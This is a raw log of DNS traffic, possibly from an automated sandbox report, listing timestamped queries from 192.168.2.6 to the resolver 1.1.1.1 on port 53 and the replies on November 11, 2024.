                                                                                                                                                                                                          Nov 11, 2024 18:13:24.942970991 CET5296153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.947535992 CET5746453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.952128887 CET6256753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.953387022 CET53529611.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.969511986 CET53586021.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.973017931 CET5875353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.973880053 CET5832053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.975994110 CET5098653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.976883888 CET5669053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.978070974 CET5439753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.978635073 CET53574641.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.983066082 CET53587531.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.983592033 CET53583201.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.984596014 CET53625671.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.008692026 CET53509861.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.009903908 CET53566901.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.010381937 CET53543971.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.072876930 CET53589681.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.102166891 CET6322853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.108886957 CET5744353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.109016895 CET6487853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.111696959 CET5482553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.111881018 CET5250953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.112144947 CET5229853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.112329960 CET6081253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.112643957 CET5079553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.118318081 CET53574431.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.122131109 CET53525091.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.122143030 CET53522981.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.122467041 CET53608121.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.122483969 CET53507951.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.122494936 CET53548251.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.133294106 CET53632281.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.140002012 CET53648781.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.850748062 CET5845753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.852122068 CET6322753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.856211901 CET5514253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.861366034 CET53584571.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.862221956 CET53632271.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.863133907 CET5480253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.865645885 CET5602753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.866333008 CET53551421.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.867909908 CET5107653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.870023012 CET6485553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.873048067 CET53548021.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.875346899 CET5078953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.877036095 CET6363753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.877455950 CET53560271.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.878545046 CET53510761.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.879885912 CET53648551.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.884263992 CET5338953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.888247967 CET53636371.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.903409004 CET6346053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.903800964 CET5519453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.905056000 CET5961553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.905951023 CET53507891.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.914833069 CET53596151.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.917176962 CET53533891.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.934504986 CET53634601.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.936322927 CET6460553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.936484098 CET4936253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.936626911 CET6060853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.936778069 CET5211553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.936917067 CET5297853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.937052965 CET6247853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.937321901 CET6092753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.937472105 CET53551941.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.937612057 CET5505953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.937745094 CET6476053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.937892914 CET6282653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.938030005 CET5006253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.938168049 CET4972353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.945791960 CET53646051.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.946202040 CET53521151.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.946671963 CET53624781.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.946980953 CET53628261.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.947591066 CET53606081.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.948227882 CET53647601.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.953042030 CET4990953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.955373049 CET5031353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.955532074 CET5018253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.955713034 CET5479353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.955748081 CET5080553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.962727070 CET53547931.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.965193033 CET53503131.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.965568066 CET53501821.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.968076944 CET53493621.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.968806028 CET53497231.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.968816996 CET53529781.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.968986034 CET53550591.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.971333027 CET53609271.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.973654985 CET53500621.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.976151943 CET6018553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.977761030 CET6509353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.977870941 CET5206353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.978003025 CET5034353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.978066921 CET6113853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.978218079 CET5729453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.978377104 CET6381153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.978444099 CET5294153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.978540897 CET6423453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.978619099 CET6265853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.978724957 CET6473953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.978790045 CET5494653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.978895903 CET5025353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.978940964 CET5684753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.979111910 CET5583553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.979531050 CET5296053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.979728937 CET5771253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.979883909 CET6403653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.980036974 CET5929853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.980189085 CET5258053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.980354071 CET6261753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.980510950 CET5832353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.980658054 CET5288853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.980829000 CET5333253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.980988026 CET5812653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.981223106 CET5551653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.981638908 CET6037453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.984220982 CET6202353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.984257936 CET5617353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.984572887 CET53499091.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.986620903 CET53508051.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.987879038 CET53650931.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.987890959 CET53642341.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.988348961 CET53529411.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.988364935 CET53520631.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.988904953 CET53502531.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.988925934 CET53558351.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.989665985 CET53647391.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.989701986 CET53583231.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.989926100 CET53568471.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.990219116 CET53529601.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.990231037 CET53626171.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.991030931 CET53603741.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.991095066 CET53528881.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.991219997 CET53533321.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.991230011 CET53525801.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.991702080 CET53555161.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.993864059 CET53620231.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.993875980 CET53561731.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:29.000205994 CET53581261.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:29.001223087 CET53577121.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:29.007472038 CET53601851.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:29.008328915 CET53503431.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:29.010353088 CET53549461.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:29.010364056 CET53611381.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:29.010375977 CET53638111.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:29.010387897 CET53626581.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:29.010935068 CET53572941.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:29.010982037 CET53640361.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:29.011136055 CET53592981.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.137864113 CET5067953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.145159960 CET5160453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.161514997 CET5918453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.180037975 CET5953053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.193443060 CET5288253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.206515074 CET6271053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.208904982 CET6360753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.209439039 CET5998953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.252800941 CET5981853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.263993979 CET4944453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.264791012 CET5886953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.340703964 CET5198753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.348736048 CET5798553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.349683046 CET6439753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.368113995 CET5158153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.370193958 CET5533553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.378870010 CET5838553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.380770922 CET5610853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.402923107 CET4971753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.409113884 CET5117853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.419281960 CET5099853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.482089043 CET53494441.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.483258009 CET53627101.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.483838081 CET53561081.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.483974934 CET53519871.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.483984947 CET53598181.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.484059095 CET53511781.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.484249115 CET53509981.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.485275984 CET53497171.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.485285997 CET53553351.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.485296011 CET53591841.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.485583067 CET53643971.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.486439943 CET53516041.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.488167048 CET53506791.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.505780935 CET53528821.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.506118059 CET53579851.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.506154060 CET53515811.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.506220102 CET53583851.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.555912971 CET6008953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.556931019 CET5075153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.557965994 CET6442253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.560534000 CET4960553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.566126108 CET53600891.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.567949057 CET53644221.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.569071054 CET6408553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.585695982 CET6338453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.587166071 CET53507511.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.590470076 CET6211353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.591609955 CET53496051.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.597562075 CET53621131.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.605029106 CET53640851.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.611571074 CET6107853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.612993956 CET53595301.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.617208958 CET53633841.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.617664099 CET5757153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.621575117 CET53610781.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.621968031 CET5984853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.631509066 CET53598481.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.648988962 CET53575711.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.662405968 CET6553153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.666029930 CET53599891.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.667449951 CET6244153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.679136038 CET53624411.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.692327976 CET6124553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.693458080 CET53655311.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.705282927 CET53612451.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.711934090 CET53636071.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.797091961 CET5344753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.829407930 CET53534471.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.919466972 CET5813753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.926557064 CET6098353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.930054903 CET53581371.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.935220003 CET6256153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.935774088 CET53609831.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.938868999 CET4968253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.945288897 CET53625611.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.953946114 CET5451953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.956999063 CET53588691.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.961440086 CET5754353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.962474108 CET5923353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.966157913 CET53545191.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.971343994 CET53496821.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.973993063 CET53592331.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.979285955 CET53575431.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.989726067 CET5932853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.002146006 CET53593281.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.025599957 CET6191953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.033107996 CET53619191.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.040296078 CET5899453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.043292999 CET5059053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.043519020 CET5818153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.043718100 CET6018153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.043890953 CET6382753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.044085026 CET6145253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.044228077 CET5955653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.044629097 CET5764553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.045100927 CET5261953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.050348997 CET53589941.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.050421000 CET5935053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.052844048 CET53601811.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.053086996 CET5828253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.053237915 CET53638271.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.054357052 CET53505901.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.055923939 CET53576451.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.056080103 CET6027853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.057113886 CET5204253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.057595968 CET5005753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.059895039 CET5823753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.060726881 CET6493053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.060992002 CET53593501.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.062083960 CET53595561.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.063330889 CET53582821.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.066664934 CET53602781.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.067591906 CET53500571.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.068877935 CET53526191.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.070986032 CET53649301.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.075432062 CET53581811.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.075656891 CET53614521.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.078699112 CET53582371.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.084989071 CET6386453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.086456060 CET5010053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.087222099 CET5195853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.087630033 CET53520421.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.089874029 CET5404453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.090091944 CET6518753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.090306044 CET6260553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.090553045 CET6221853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.090723038 CET6249153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.096596956 CET53501001.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.099637985 CET53638641.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.100167036 CET53626051.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.100500107 CET53540441.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.100537062 CET53622181.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.101150036 CET53651871.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.108623981 CET5345753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.118704081 CET53519581.1.1.1192.168.2.6
